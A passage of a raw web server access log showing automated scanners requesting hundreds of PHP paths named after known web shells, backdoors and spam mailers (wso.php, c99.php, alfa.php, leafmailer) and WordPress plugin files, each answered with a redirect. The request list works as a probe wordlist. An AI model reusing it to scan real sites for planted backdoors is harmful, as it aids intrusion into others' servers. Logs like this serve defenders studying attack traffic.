/1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:06 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:07 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:07 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:08 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:08 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:09 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:10 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:10 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:12 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:13 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:14 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:14 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:15 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:16 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:16 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:17 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:18 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:19 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:21 -0400] "GET /wp-content/uploads/wpr-addons/forms/RxRzhwix.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:23 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:24 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:25 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:26 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:26 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:26 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:27 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:28 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:29 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:30 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:30 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:32 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:33 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:33 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:34 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:35 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:36 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:37 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:38 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:38 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:39 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:40 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:40 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:41 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:42 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [05/Apr/2025:21:55:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 64.23.233.179 - - [05/Apr/2025:22:15:42 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [05/Apr/2025:22:45:58 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.135.145.117 - - [05/Apr/2025:22:56:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 5.3.219.146 - - [05/Apr/2025:23:10:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 5.3.219.146 - - [05/Apr/2025:23:10:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 13.74.53.80 - - [05/Apr/2025:23:36:59 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:08 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:14 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:18 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:24 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:28 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:30 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:32 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:35 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:36 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:39 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:42 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:45 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:48 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:51 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:37:56 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:03 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:14 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:25 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:30 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:36 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:40 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:45 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:50 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:54 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:38:57 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:02 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:06 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:08 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:14 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:17 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:20 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:22 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:25 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:29 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:31 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:37 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:38 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:40 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:47 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:50 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:54 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:39:56 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:00 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:07 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:13 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:18 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:20 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:22 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:25 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:29 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:35 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:38 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:41 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:44 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:46 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:48 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:51 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:54 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:40:57 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:00 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:02 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:04 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:06 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:08 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:09 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:13 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:16 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:19 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:22 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:24 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:26 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:28 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:31 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:33 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:36 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:38 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:40 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:42 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:44 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:47 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:48 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:50 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:52 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:54 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:56 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:41:59 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:00 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:03 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:05 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:07 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:08 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:10 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:12 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:14 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:15 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:17 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:18 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:20 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:21 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:23 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:25 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:27 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:29 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:30 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:32 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:33 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:34 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:36 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:39 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:40 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:43 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:45 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:47 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:49 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:53 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:42:58 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:02 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:05 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:08 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:14 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:18 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:23 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:25 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:29 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:33 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:36 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:38 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:41 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:43 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:45 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:49 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:53 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:55 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:43:58 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:01 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:05 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:09 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:14 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:16 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:22 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:25 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:28 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:31 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:34 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:37 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:40 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:44 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:48 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:51 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:53 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:55 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:44:57 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:00 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:02 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:06 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:09 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:10 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:14 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:17 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:19 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:21 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:22 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:24 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:25 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:28 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:29 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:31 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:33 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:34 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:35 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:36 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:38 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:39 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:40 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:41 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:42 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:43 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:44 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:45 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:46 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:48 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:50 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:51 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:54 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - 